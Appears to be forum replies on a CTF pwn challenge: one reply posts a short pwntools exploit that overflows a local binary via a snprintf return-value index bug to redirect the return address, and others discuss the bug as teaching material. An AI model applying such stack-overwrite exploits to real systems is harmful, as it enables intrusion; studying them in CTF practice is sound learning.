首页
社区
课程
招聘
收藏
点赞 0
打赏
分享
最新回复 (3)
雪    币: 204
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
from pwn import*
p=process('./sp')

payload=b'a'*(0x118-11-4)
p.send(payload)

payload=p64(0x4012A2)

#gdb.attach(p)
#pause()

p.send(payload)

p.interactive()

snprintf返回值考察问题导致的索引溢出
2026-3-11 14:22
0
雪    币: 204
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
不错啊这题,考察动态调试,我拿去给我们新生练习了
2026-3-11 14:22
1
雪    币: 229
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
4

懂了懂了,snprintf的返回值不以限定的长度为准,而是以实际输入的长度为准,返回值可能大于限定的长度,从而第二次snprintf的索引直接到[rbp+8],学到了,谢谢大佬

最后于 2026-3-11 21:52 被mb_dxsbxhbd编辑 ,原因:
2026-3-11 21:51
0
游客
登录 | 注册 方可回帖
返回